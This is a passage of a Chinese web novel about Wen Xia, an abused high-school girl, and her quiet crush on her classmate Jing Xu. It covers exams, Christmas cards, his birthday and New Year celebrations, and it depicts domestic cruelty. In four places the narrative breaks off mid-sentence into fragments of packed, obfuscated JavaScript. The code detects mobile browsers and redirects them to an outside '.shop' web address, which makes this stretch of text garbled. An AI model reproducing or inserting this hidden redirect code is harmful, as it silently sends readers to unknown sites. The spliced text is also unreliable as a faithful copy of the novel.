温夏捧着关东煮,眼泪更凶了。 她今天受尽了欺负,钱也丢了。她以为自己会像以前一样,坐在角落里,一个人消化掉所有情绪。 没想到,景栩会出现。 景栩也没想到会遇到她,孤零零的,看起来单薄又可怜。递了张纸巾给她:“你经常一个人躲起来偷偷哭吗?” 经常吗? 她的确经常一个人躲起来,只是,很久没哭过了。 温夏这会儿胆子大了:“谁哭,你别瞧不起人。” 景栩笑出声:“能呛人,应该好多了?” “好多了。” 沉默两秒,温夏才说:“谢谢。” 温夏微微侧头,看向他。他眼睛太亮,像天上的弯月被打碎了,装进他眼里。 温夏瞥过一眼,没敢再看。 因为知道景栩的出现只是巧合,他不会因为担心她,而刻意对她有所关注。所以温夏没问他为什么会出现在这儿。 因为他的出现,在某一刻,她竟觉得,自己也是“HE”结局的电影主角——付出了一些代价后,也十分必然地,收获了一些礼物。 温夏视线落在他那块宇舶上,鼓起勇气,第一次喊了他的名字:“景栩。” “嗯?” “堰青……是一座什么样的城市?” “堰青啊——”景栩稍侧着头,认真想了几秒,“是一个冬天很长的城市。不过,每个人眼里的堰青都不一样,不如自己去看一看?” 景栩说完,转头看向温夏。 视线交融的那一刻,温夏当即低下了头。 “我可以吗?”温夏逐渐没了底气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986526|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为什么不可以?” 景栩绽放出一个笑,每一处都散发着,只属于这个年纪的意气风发。 好像未来就在他手上。 “人生当然是自己说了算。” 他双手后撑,充满运动感的双腿随意伸着。头微仰,颈部稍稍拉长:“人只活一次,没有重来的机会。要做旷野上的一缕风,穿梭在四通八达的世界里,在彻底停息之前,自在地感受和经历这个世界的一切。想做什么,做就好了。” 温夏没忍住,视线偷瞥过去,看到月光下,那张充满青春气息的脸。 干净、张扬、轻狂。 那一瞬,她枯涩的眼睛里,好似长出春天。 即使未来不可知,温夏也能确定,他想去的地方一定能抵达,即使眼前荆棘丛生、山海重重。 不过。 他这样的人,面前一定是平坦宽阔的大道,充满鲜花和阳光,沿途都是风景。 景栩一直陪她坐在广场的一角,不提她被打的事,也不问她什么时候回去。 两人几乎没什么话说。晚间的风有些凉,广场上的人也渐渐少去。温夏即使再舍不得这段时光,也还是不得不起身说:“回去了。” 从巷口到单元楼那段路,路灯坏了几盏。流浪猫不时发出叫声,空气中依稀残留着油烟味。 到单元楼门口道别后,温夏走了几步,身后忽然传来一句:“温夏。” “嗯?”温夏下意识回头,看向仍站在路灯下的少年。 “别认命。” 风吹得树叶簌簌响,他唇角始终带着浅笑,声线如此刻的清风,轻柔却蕴藏着能量。 温夏反应慢半拍:“知道了。” 路灯处在将坏未坏的时候,灯光极暗,却也将少年的影子拓印在地上。他眉眼漆黑,松弛地立在晚风里,碎发微动,身后是明暗不一的灯光。 温夏手指微蜷:“明天见。” - 温夏回去,又被赵雁蓉骂了一顿。她知道和赵雁蓉对着干,只会使局面更糟,垂着头,沉默地听完了那些不堪入耳的话。 等对方终于骂完,温夏走到沙发旁,捡起被撕碎的试卷。 回到房间,没几分钟温夏又听到客厅传来的咒骂:“一副可怜样装给谁看!什么人就什么命,努力学习就能变凤凰了?做梦!” 温夏拼接试卷的手顿住,圈握成拳,力道逐渐加大。 客厅里骂声还在继续,她干脆戴上耳机,把音量加到最大。 她身心俱疲,只想好好睡一觉。等到慢慢把那些试卷粘好,躺在床上时,却怎么都睡不着了。 她思绪乱七八糟的飞。忽然想起,十一长假前,黄筝问过她,有没有特别喜欢的城市,假期要不要过去旅游。 她长这么大,从来没有见过树阳以外的世界。常常看见电视和手机上推荐的旅游胜地,那些地方对她来说,遥远又虚浮。她从来都不向往。 她只想逃离这个地方,却从来没想过,要逃去哪里。 可现在。 她忽然有了答案。 黑暗里,她听见心底有一道声音对自己说—— 温夏。 去看看那个,冬天很长的城市吧。 12. 12 返校第一天,第一节课恰好是班主任的。 上课前,老严给他们发了成绩条,让卢杭把排名表贴在班务栏上。 温夏的座位紧挨着班务栏,抬头就能看到那张排名表。 高一还没分文理,一共考九个科目,语数英的分值是150,政史地、物化生的分值都是100。 总分1050。 景栩不出意外地考了第一。 第二名还是卢杭,但两人之间的分差却小了不少。 月考的排名情况和开学考基本没什么变化,温夏进步了几个名次,排在班级第十五,年纪第二十的位置。 午休时,温夏拒绝了黄筝一起出去透透风的提议,独自坐在位置上,眼睛一眨不眨的看着成绩条和数学试卷。 她这次数学考得不错,但学起来很吃力。其他科目中规中矩,意料之中。 温夏唇角微抿,提笔在自己的成绩条上写下了景栩的月考成绩。写完后几不可见地叹了口气,整个人没来由地被情绪缠绕,说不上来的失落。 每个科目和总分的差距很大,0020和0001的差距很大。 温夏和景栩的差距,也很大。 但总算,进步了七个名次。 就好像。 离他更近了一些。 几个男生打打闹闹,莽撞的少年将温夏的课桌撞歪。温夏胸部稍下那块被带过的力道压得生疼。 几个男生道歉,但极为敷衍,轻飘飘的一句“不好意思”后,又继续打闹起来。 下午第一节是物理课,景栩拿着物理试卷进来,看到这一幕,半开玩笑道:“在教室追逐打闹扣分啊,看着点人。” 几个男生起着哄,却消停了。 景栩开始发试卷,碰巧第一张是温夏的,他走到过道里,随手将课桌挪正了:“没事儿吧?” 他走过来时,温夏慌乱地将成绩条夹进书里,做贼心虚似的。 上午的阳光从窗户照进来,他站在光影里。光被分割成几何形状,其中一小块儿正好落在他的肩膀上。 温夏视线从那块光斑上掠过,耳尖悄悄爬上一抹热:“没事。” 话音刚落,他们的交谈也随之结束。 景栩游走在教室分发试卷,最后一张是黄筝的,他又过来了一次。 见温夏盯着数学试卷看,看着她苦恼的样子,以为她不会,手指在她试卷上指了一下:“这题得用变形公式。” 温夏抬头,眼底一片茫然。 她不是没想过去请教他,只是每次都打退堂鼓,没想到他会主动帮她讲题。 景栩以为她没懂,随手在桌上捡了支笔,直接在她试卷上写解题步骤。 他微微弯腰,橡木苔的味道被很淡的薰衣草味取代。温夏知道,这是林婆婆常用的那款洗衣液的味道。 这题不是难题,其实那个变形公式出来,温夏已经知道解法。 只是因为他的靠近,身体瞬间僵直,显得她呆滞又迟钝。 景栩写完:“这样是不是清楚一些?” “很清楚了。” 景栩打了个响指,放下笔:“有问题随时找我。” “谢谢。” “小事。” 十月中旬的树阳仍热气蒸腾。 月底时台风过境,天气开始变得阴雨绵绵。整座小城陷在又闷又潮的环境里。 连续半个月都是小雨,温夏每天都能等到景栩,他们见到照例会有简单的寒暄,只是依旧没什么话聊。 之后的天气时好时坏。天气不好的时候,温夏会等到景栩一起乘公交去学校;天气好的时候,他会骑着自行车从她面前飞过。 进入十二月,气温开始大幅下降,天气也难得放晴,景栩干脆把自行车放进了杂物间里。温夏捡了便宜,每天都能和景栩说上几句话。 这段时间她偶尔拿着题去问景栩,而他每次都会耐心又细致地讲解。 她也问过其他人,但没有一个人,像他一样。 十二月的第一个周五,出了十一月的月考成绩。 当晚,温夏吃完晚饭,回到房间后,拿出一个只有手掌般大小的笔记本,翻开。 纸张上已经有了笔墨,记录了考试的年级排名和总分。 2014.8.31开学考—— 景栩:0001,708分。 温夏:0026,589分。 九月月考—— 景栩:0001,974分。 温夏:0020,805分。 十月月考—— 景栩:0001,941分。 温夏:0023,739分。 温夏拿起笔,又开始记录。 十一月月考—— 景栩:0001,962分。 温夏:0030,786分。 温夏看着这些数字,握着笔的力道不自觉加重。 这些数字提醒着她,自己好像离他越来越远。 她很努力了,可是结果不尽人意。 眼泪毫无征兆地流下。 难过过后,温夏擦干眼泪,将笔记本收起来。 老师一直说,勤能补拙,温夏相信了,她也收到了回报——她在初中的成绩,一直没掉出过前五。 只是初中的那套,在高中真的行得通吗? 脑海里莫名想起齐子尧的话:“学习这东西,其实蛮讲天赋的。我们普通人绞尽脑汁都解不出来的题,天才看一眼就能写答案……人比人真是气死人。” 这几年,林婆婆跟她聊天时,总说:“我的宝贝外孙又拿奖啦!” 她无法重复那些奖项和比赛的名字,因为她从来都没听过,也不知道要从什么渠道去了解。 那些东西对她来说,遥远而陌生。 就像景栩。 如果要用一件具体的事物来形容他,那一定是天上月。 独一无二,又遥不可及。 温夏擦干眼泪,似是想通了。 眼泪不能离他更近,努力才能。 所以,她不能哭,不能懦弱。 她要做的,是尽自己最大的努力,朝他靠近,哪怕最后不能站在他身边同他并肩。 至少,也能少些遗憾。 她合上笔记本,鼓励自己:“下次月考加油。” 比十二月月考先到的,是圣诞节。 今年的圣诞在周四,周三那天,午休时,黄筝神秘兮兮地凑到温夏跟前:“夏夏,咱去学校门口买东西吧?” 温夏手里拿着数学练习册,正要拒绝,黄筝就把她手里的练习册抽走,抱着她撒娇:“好夏夏,学习要劳逸结合,你都快学成傻子了,这样是不行的。今天就陪我去走走,就当换换脑子,好不好?而且,你的笔不是快用完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986527|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗,咱顺道把笔买了。” 温夏顿了一瞬,眨眨眼:“下午放学再买不行吗?” “我能等圣诞贺卡不能等啊。走吧走吧,再去晚点,好看的贺卡都被挑走了。”黄筝可怜巴巴的,抱着温夏使劲晃,“夏夏也不想让我买别人挑剩下的吧。” 温夏快要被她晃晕,妥协道:“走吧。” 黄筝眉开眼笑:“夏夏最好啦!” 学校门口有好几家小卖部和小型超市,放眼望去全是人。 黄筝目标明确,拉着温夏去了奶茶店旁边一家叫“火星人”的文具店:“我都打听好了,这家文具店的贺卡,比好多精品店的都好看。” 这家店的顾客也比平时多了不少,大多是围在摆放圣诞苹果和贺卡的那个货架。 黄筝往里挤:“夏夏快来。” 温夏摇摇头。 “差点忘了,你对这些不感兴趣。” “你去挑吧,我在外面等你。” 温夏拿了两支笔,付了钱,去店门口等。 身边陆续经过一波又一波人,二十分钟后,温夏往店里看了眼,黄筝正好挑完付钱。 她买了不少,一出来就把贺卡全部给温夏:“夏夏,作为我最亲爱的朋友兼同桌,你有优先选择权。喜欢哪张?” 半分钟后,温夏抽了一张出来,把其余的还了回去。 黄筝把她挑的那张也抽走了:“我还没写祝福呢,圣诞那天再给你。” 下午放学,温夏走到校门口,公交站人潮汹涌,周边学校的学生都挤在了这个站。 今天景栩值日,还没下来,温夏干脆站在保安室门口等。 她看到周边的店铺依旧挤满了人,比起中午时有过之而无不及。 思忖片刻,她抬脚往“火星人”的方向走去。 温夏在摆放贺卡的货架前,选了一张给黄筝。她还想再选一张,在圣诞那天,送给景栩。 犹豫许久,最终她还是选了一张款式最简单的。 活到这么大,温夏已经习惯了平凡。她害怕出彩,害怕与众不同,从来不敢迈出舒适区半步。 现在,她连送圣诞卡,都不敢挑太漂亮、亮眼的。 从文具店出来,校门口已经没什么人了。 温夏走到公交站,把两张贺卡装进了书包里。 也是在这个时候,景栩走到她身边:“还没走啊?” “有点事,耽搁了。” 他只是随口一问,得到这个答案后,他就没再开启新的话题。 圣诞当天,温夏一进教室就收到了黄筝的贺卡。 坐下后,才发现桌箱里还有几张,她打开来看,只有一张贺卡没署名。 上面只有“圣诞快乐”几个字。 黄筝凑过来:“会不会是某个偷偷喜欢你的男生送的?” “应该不是吧?” 她从来不敢奢求有人喜欢自己,毕竟,就连亲生父母都不爱她。 黄筝拿过贺卡研究:“很有可能的好吧!甚至还很有可能是咱们班的呢。 “这字看起来不怎么好看啊,有点像齐子尧的,狗爬一样。不过齐子尧的贺卡署名了。 “祝福语也没什么特别啊——圣诞快乐…… “……算了,看不出来。” “可能是人家没有署名的习惯。”温夏淡淡一笑,回了一张贺卡给黄筝,“圣诞快乐。” 13. 13 温夏统计了一下,算上未署名的那张,她一共收到五张贺卡。趁着午休,她出去买了四张贺卡作为回礼。 回来时教室里只有几个人。 温夏在每一张贺卡上都写了“圣诞快乐”,写完后,她把那些贺卡分别放在了四张课桌上。做完这些时,教室里就只剩她一个人,其他人已经去饭堂吃饭。 她手里还剩一张。 上面写“一切从欢,岁岁平安”,和她写给其他人的都不同。 她提着一颗心,走到景栩的课桌前,确定外面也没人后把贺卡放了进去。 他桌箱里已经有了很多贺卡,款式精美多样。这些贺卡有同班同学送的,也有其他班的女生趁他不在偷偷放的。 她的这张放进去,是最不起眼的存在。 她发了会儿愣,窗外走过三两学生吓得她回了神。 明明什么都没做,却有一种偷窃进行到一半被人抓包的心虚感。 暗恋就是偷偷摸摸,祝福都不敢大方。 月底三天,照例是月考。 考场按上次考试的排名分配,每个考场四十人,温夏每次都能和景栩分在一个考场。这大概是温夏在压力之外,唯一觉得开心的事。 考完试就是三天的元旦假期。 最后一天,得考到下午四点。难得回一次家的黄筝,早上就已经把行李收拾好,拉去了保安室,考完就直接回家。 赵雁蓉回了娘家,温悦和同学约好了要出去玩。 温夏从学校到家,家里没人。 大伯这会儿在店里。 温夏坐在书桌前,看着桌上的那条雾青围巾,浅浅地笑了。 她之前听林婆婆说起过,景栩的生日是今天——十二月的最后一天。 这条围巾,是昨天她考完试特意去买的。 这条围巾摆在橱窗里,看起来和周围的围巾不太搭调,是能让人一眼就注意到的存在,很是抢眼。 这一瞬,她想到了景栩。 明明没有刻意张扬,却能轻松惹人注意。 她不知道有没有机会送出去,但站在橱窗前看到的那一瞬,只是觉得很适合他,头脑一热,就买了。 隔壁传来炒菜声,温夏收回思绪,出了门。 冰箱空了,她得去买菜,做好晚饭等大伯回来。 温夏下楼,刚过完马路,就接到了大伯电话,说临时和朋友约了喝酒,晚饭不用等他。 温夏乖巧应了声:“知道了。” “别去买菜了,茶几上有一百块钱,想吃点什么自己去吃,别饿肚子。” 挂断电话,温夏看到提着菜篮满载而归的林婆婆。 没等她说话,林婆婆已经开口了:“夏夏啊。今天没人在家吧?我看见你大伯去胡胖子家啦。” 温夏点头,主动上前:“婆婆,我帮您。” 林婆婆很喜欢温夏,见到温夏,笑意都藏不住:“麻烦你啦。今天阿栩生日,多买了点菜。” 温夏帮林婆婆把菜提到家门口,敲了门没人开。 “阿栩可能去快递站了。”林婆婆拿出钥匙开了门,“快进来。吃完饭了吗?没吃的话,就留下来一起吃。” 温夏从来不敢接受别人的好,怕还不起,于是甜甜一笑:“不用了婆婆。” “阿栩今天生日,就我跟他怪冷清的。” 温夏刚想拒绝,景栩抱着两个快递进来了:“留下来吧,外婆买了这么多菜,也吃不完,当帮个忙。” 温夏没有再拒绝的理由:“那……打扰了。” 林婆婆把菜都拿出来:“对了,阿栩去拿蛋糕,下午我去订的,差点忘了。” 蛋糕店有点远,等景栩拿回来,饭菜已经快做好了。 温夏很讨长辈喜欢,景栩进来时听见两人的笑声:“说什么呢这么开心?” 林婆婆笑得更开怀:“我在跟夏夏说你小时候的糗事。” 景栩无奈笑笑:“得,亲外婆。有没有需要帮忙的?” “就差个汤了,你那些快递快点拆了放好,别把餐桌占着。”林婆婆说。 景栩乖乖听话,拆完后把纸箱压平,然后放去门口。 电话适时响起。 温夏瞥见一个名字——宋陆鸣。 宋陆鸣声音很大,传到温夏耳朵里:“哥送的礼物还喜欢吗?” 景栩开始臭屁:“也就一般吧,没我会送。” 电话那端的人冷笑一声:“别以为我不知道,你嘴角都快咧到后脑勺了。KevinDurant的签名球衣诶!为了搞到,哥废了多大劲儿!” 景栩大概是真的很喜欢,笑了声:“那谢谢哥了。” “对了,你什么时候回来?”那边问。 “过段时间吧。” “外婆身体怎么样。” “挺好的。” 两人又随口扯了几句才挂电话。 那堆快递里,除了景栩的礼物,还有给林婆婆的礼物。 温夏没看见那些盒子里装的是什么,但她知道,她买的那条围巾,没机会送出去了。 她忍不住看那堆礼物。 几次后终于看清,红色盒子装着的球衣,还有一个盒子上,写了“KAPLA”。 她默念了两遍。 吃完饭,林婆婆拿出生日蛋糕,插上蜡烛后关了灯。 蜡烛映照在景栩脸上,影影绰绰,显得他五官更为精致立体。 温夏分到了最大的一块蛋糕,甜腻腻的奶油在口腔里化开。 把蛋糕消解完,温夏陪林婆婆聊了会儿天,时间差不多了,才起身道别。 已经是深冬,出了门,砭肤的冷意气势汹汹地扑过来。 迎着冷风,她一遍一遍想—— 他不属于这里,迟早都会离开,她只是路边的一朵野花,不应该做不切实际的梦。 - 温夏到家时,大伯还没回来。 她回到房间,拿出一套数学题。心烦意乱下,解完这套题,竟然花了比平时多两倍的时间。 将近十一点,她起身洗漱,正准备上床,感到手机振动。 齐子尧给她发了消息,约她一起去古城跨年。 古城一个月前就开始宣传了,说今晚会有跨年表演。唱歌跳舞这些节目虽然老掉牙,但跨年图个热闹,也没人真的在意节目怎么样。 大家最主要看的,是零点的那场烟花秀。 她在输入框输入“不去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986528|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,转念一想,齐子尧爱热闹,除了他,一定也邀请了别人。 他跟景栩关系不错,没准儿景栩也去…… 可两小时前,她才在冷风里对自己说“以后要离他远点,不要做不切实际的梦”。 做了将近半小时的心里斗争,温夏删除了输入框里的字,而后回:【好的。】 她什么都明白,只是,依旧忍不住要靠近他。 哪怕明知扑空,明知不会有结果,明知道再继续只会伤害自己……还是选择一步一步向他走近,像扑火的飞蛾,也像一个不给自己留退路的死士。 她翻身起床,迅速换了衣服,跑下楼。 温夏到路口,正好看到景栩。 他正好挂断电话,不经意偏头,就看到了她。 他朝她招招手:“要去古城吗?” 温夏调整着呼吸,学着他的淡然:“嗯,听齐子尧说那儿有表演。” “我也过去,一起?” “好。” 两人到古城,齐子尧已经在门口等了。 一班来了不少同学,还有一些温夏不认识的。 刚见面,齐子尧就催着他们往里走:“听说有烟花秀,抓紧占个位置。” 古城比平时热闹许多,他们来的晚,所谓的“好位置”已经没有了。 一群人心态不错,有人说反正烟花在空中,谁都能看到。 温夏一向话少,在团体里容易被忽略。 不过她也自得其乐,相比起交流,她更善于观察和倾听。 大家围在一起,话题永远不会断。几个话题过去,台上主持歌舞表演的主持人,开始组织人群倒数。 温夏把目光投向景栩。 他们已经被人群冲散了,可她还是在人潮涌动的现场,一眼就锁定了他。 在开始倒数的那一秒,他拿出手机拨了个电话。 大概是电话接通的那一瞬,他的眼睛变得很亮,笑意在眼底扩散,像冰雪消融的时刻。 应该是跟堰青的朋友打电话吧? 此刻的他,是她无数个夜里,反复研究Q/Q头像和个性签名,都没能研究出来的景栩。 在她面前的景栩,温柔阳光的同时,也距离感十足。 尽管他没有刻意跟树阳这个小县城的一切区别开,仍然能感觉到,他和这个地方格格不入。 耳边的倒数声越发整齐响亮,人们迈向新一年的喜悦也在最后一秒达到高潮,欢呼声震耳欲聋。 人们相互拥抱,互送祝福。有大胆一些的情侣,在这场热闹里拥吻。 看着眼前持久而盛大的欢欣,温夏却湿了眼眶。 她看见景栩冲着电话那端的人大声喊:“元旦快乐!” 周遭仍旧纷乱嘈杂,她站在他身后,也轻声道了句:“元旦快乐。” 这句祝福很快散在深冬冷冽的风里。 他听不到。 除了温夏自己,任何人都听不到。 后来听说跨年夜的烟花绚烂夺目,但温夏不知道。 因为那天晚上,她全部的注意力和目光,一秒都不曾在烟花上停留。 PS:明天要参加婚礼,不更哦~ 晚安,爱泥萌>3< 14. 14 元旦过后就是期末考,温夏每写一张试卷都会紧张。 害怕努力得不到回报,害怕结果不尽人意,害怕和他的差距会越来越大。 刚考完试,温夏坐在回余庆巷的公交上想:之前听说他国庆假期是回堰青过的,寒假这么长,应该也会回去吧? 可是,他回不回去,跟她有什么关系? 整座小城雾沉沉的,说话时嘴里都冒寒气。车窗上也拢了层薄雾,视野里的景色快速倒退,温夏的思绪融进薄雾里。 想起每次点进班级群,找他的账号,反反复复看,把他的头像放大又缩小,到现在,她已经能记清头像的细节。 她不是没幻想过,一些必须要添加他为好友的情况——比如请教题目;比如在他恰好请假那天,转告当天的作业或者班主任发的重要通知…… 可她的勇气向来少得可怜,他也从来没有请过假。 所以一个学期过去了,他们唯一的关系,只是同班同学,连朋友都算不上。她甚至没有他的电话号码,也不在他的□□好友列表里。 这个假期,温夏的生活没什么变化。每天早起看店、背单词或公式;每天都要听赵雁蓉话里话外的不满;每天都在期待见到景栩。 临近除夕,从进入冬天就死气沉沉的小城,忽然焕发了生机。 街道开始被装点,挂上了红灯笼,许多商铺里上新了红色衣服,商店里也开始卖对联…… 一派喜庆。 听景栩说,堰青几乎每年都有雪。 从温夏有记忆以来,树阳就没下过雪,就算是有,也只是很小的雨夹雪。 她想看看北方的大雪,将整座城市覆盖的大雪。 只是,深冬都要结束了,大雪依旧没来。 除夕当天,温夏在水果店里,看到了大半个月不见的景栩。 他说着那句熟悉的开场白:“我来买点水果。” 温夏没来得及和他说话,店里走进一个男生。 男生很潮,身上的衣服配色大胆,像是不小心打翻的颜料盘,却不显杂乱,像中世纪走出来的艺术家。 温夏垂眼看了看自己,她身上的衣服也是简单干净。可还是能一眼就看出和他们的差距。 景栩跟温夏打招呼,艺术家也笑意盈盈地看过来:“你同学吗?” 景栩点头:“她叫温夏。” 景栩对温夏说:“我朋友宋陆鸣。” 宋陆鸣挥了挥手:“你好。” 温夏笑笑:“你好。” 景栩轻车熟路扯了一个塑料袋,转头问宋陆鸣:“吃什么?” 被问的人看了一圈,似乎不擅长挑这些,说了句:“你看着买。” 温夏没再说话,几分钟过去,她听见宋陆鸣的声音:“外婆都说让你回堰青了,你干嘛还赖在这不走。还有,开学前你给我发消息,说在车站了,机票也买了,怎么就突然不走了?” 景栩往口袋里装了几个橘子:“我这次回来,发现外婆老了好多。 “那天给你发消息,我确实已经在车站了。可是在临上车前,接到医院的电话,说外婆摔了。她年纪大了,又不想去堰青,我就留下来。” 他说完,半垂着眸,像是想起了什么。 “有很多事情我无能为力,但陪外婆这件事,我还是能做到的。”半晌,他才幽幽道,“我想多陪陪她。” 温夏写题的动作停了下来。 宋陆鸣想说什么,动了动唇,却什么都没说。只是问:“真要在这待到高考结束?” “也不一定。看看能不能说服外婆和我回堰青,顺利的话,明天就能回也说不定。” 他们买完水果离开,像从来没出现过。 可他们的对话,却在温夏脑海里播放,一遍又一遍。 “明天就能回也说不定”这句话,像刻印在了脑子里,擦不去,除不掉。 这一整天,温夏状态都不太好,心神恍惚,注意力也不集中。别人来买水果,结账时,她要借助手机计算器,才能把一百以内的加减法算出来。 晚饭时,大伯注意到她的情绪,以为是高中阶段压力大,宽慰了她两句。 赵雁蓉满脸不屑,难听的话一句一句往外蹦:“我们悦悦不是高中生吗?怎么不见悦悦这样?我看,就是矫情。 “学不下去赶紧出去随便进个厂,赶紧挣钱,不比现在好?” 温夏放下筷子,像个木偶,没什么精气神:“我吃饱了,先回房间了。” 赵雁蓉尖锐的声音钻进耳朵:“说你两句还说不得了!摆脸色给谁看?等我们吃完,记得出来把碗洗了。 “对了,我看你买了条新围巾?花了多少钱? “景栩是林老太婆家孙子是吧?暗恋人家?我看你那本子上记了,人家能考第一,你呢? “你知道林老太婆什么人吗?钢琴家,我小时候,在各大卫视上见过她。好像还在那个什么纳大厅表演过……要不是老人家不追求物质,想落叶归根,跑到这个鬼地方养老,你哪有机会接触这些人?我劝你啊,收收想飞上枝头变凤凰的心。” 温夏看向她,目光里夹杂着气愤,第一次,不考虑任何后果地发了脾气:“谁让你翻我东西的?!” “吼什么?你什么态度!我供你吃供你穿,就把你养成这样!”赵雁蓉把手里的碗扔出去,“小贱人!” 温夏也不躲,瓷碗结实地砸在了她身上,随后掉在地上碎了一地。 她迎着赵雁蓉的目光,丝毫不惧,眼神也发了狠:“是!你供我吃供我住,我很感激。即使你曾经收了三千块钱,想把我卖给别人……你至少给了我一口饭吃,给我栖身之所,至少我活着。 “可我宁愿我死了!” 比起绝望的活着,她更愿意死在外婆去世的那个冬天。 温夏依旧盯着赵雁蓉:“你既然这么讨厌我,不如直接打死我。我会更感激你!” 平日里的温夏温暾怯懦,他们从来没见过她这样,像个不顾一切的疯子。 像是被吓到,客厅里安静下来,落针可闻。 温悦最先缓过神,推了她一把:“看了就看了怎么样!你疯了吧!要死你自己去死!” 毫无防备的温夏被推倒,手重重压在了瓷碗的碎片上,温热的液体流出。 看着眼前的一切,她忽然不想吵下去了。 这就是她从小长大的地方,一地鸡毛又乌烟瘴气。 家里永远都是又脏又臭。 尽管她每天都认真打扫,可没多久一定会被赵雁蓉弄脏。 温夏多希望赵雁蓉是故意弄脏来折磨她,可偏偏不是。 生活习惯就是这样——用完的东西永远不放回原位,用脏的东西永远不清洗,内衣和袜子一起扔到洗衣机…… 从她被大伯接来那天开始,每天都能听见赵雁蓉抱怨和咒骂的声音。 每天耳边都很吵。 温夏想起林婆婆家,她去过的次数不多,却很喜欢那里。亮堂堂的,窗帘和桌布都是温暖的橙色,布置得很温馨。 客厅靠窗的地方摆放着一架钢琴,她每次去,钢琴旁边的香薰蜡烛都是点燃的。香气干净而清淡,浸在房间的每一个角落。 她想起景栩,想起他在阳光下耀眼又坦荡的笑;想起几个月前雨幕里,同他对视的那一眼;想起公交上和他一起用过同一个耳机,听同一场雨…… 她想起很多很多事,那些事美好而幸福,和裹住她十几年的绝望完全不同。 某一个瞬间,她很想爆发,很想跟赵雁蓉歇斯底里的吵一架。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986529|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可也只是一瞬,那一瞬过后,她忽然好累。 吵不吵都无所谓了。 因为她怪不了任何人,也改变不了什么。 僵持几秒,温夏闭了闭眼,沉默着开始收拾餐桌和一地的狼藉。 温诚一言不发回了房间,赵雁蓉和温悦出了门。 温夏在厨房里洗碗,温诚不知何时走进来,塞了一个红包给她。 他拍拍温夏肩膀:“夏夏,你受苦了。” 比起赵雁蓉直观的恨和针对,温诚懦弱的关心更让她窒息。 她礼貌道了谢,“大伯新年快乐。” 她没再多说半句,温诚叹了口气,想说点什么,动了动唇却发现无话可说。 半分钟后,厨房里又只剩温夏一个人。 楼下有小孩追逐打闹的声音,还有巷子里的大人,谈笑的声音。 温夏头一次,想融入这种热闹里。 如果下楼,是有机会遇到他的,对吧? 或许还会有机会跟他说声“新年快乐”。 她把厨房收拾完,站在门口犹豫半晌,还是出了门。 哪怕只有万分之一的几率遇见他也好。 楼下有不少人在玩摔炮,温夏一眼就看到了站在巷口处,被一群小孩儿围住的景栩和宋陆鸣。 宋陆鸣正好回头,也看到了她,朝她挥了挥手:“你好啊,新年快乐!” 温夏走近,温温道:“新年快乐。” 巷口这盏路灯坏了很久,景栩蹲在路灯下,仙女棒发出的光映在她脸上。 他手上只剩下两只仙女棒,分了一支给温夏。 温夏接过:“谢谢。” 手中的仙女棒燃尽,宋陆鸣打开脚边的袋子,把里面的东西逐样取出:“老板说这个叫瀑布烟花,据说燃放的时候像瀑布一样,肯定很有意思。” 景栩从袋子里拿了个路障形状的,挑眉:“你偷路障了?你小心点,会被抓的。” 宋陆鸣:“有这么小的路障?你小心点,去医院看看是不是脑子不好。” 景栩又拿了个半圆形状的,“这什么?” 宋陆鸣眼睛亮了起来:“这个,叫孔雀开屏,老板说点燃之后,会像孔雀开屏那样,慢慢展开。怎么样,哥会买吧?” 景栩没理他,他便转向温夏:“温同学,你觉得怎么样?” 温夏笑笑:“挺好的。” 得到肯定,宋陆名看着景栩,下巴一扬:“怎么样?” 烟花没多久燃放完,宋陆鸣心满意足的起身,拍拍手,开始收拾残局。 温夏正要帮忙,宋陆鸣摆摆手:“这种粗活我跟阿栩来就好。” 话音刚落,发现景栩已经推着温夏往前走了几步。 宋陆鸣冲他背影大喊:“景栩你要脸吗!” 景栩笑了声,头都没回:“这种粗活你来就好。春晚要开始了,我回去陪外婆看春晚。” 宋陆鸣加快速度,将垃圾扔进垃圾桶后,快步追上了景栩和温夏。 到单元楼门口,温夏停下脚步,她没道理再和他们一起,于是跟他们道别:“我先回家了。” 宋陆鸣挥挥手:“拜拜。” 道别后,两个男生转身走向隔壁的单元楼。 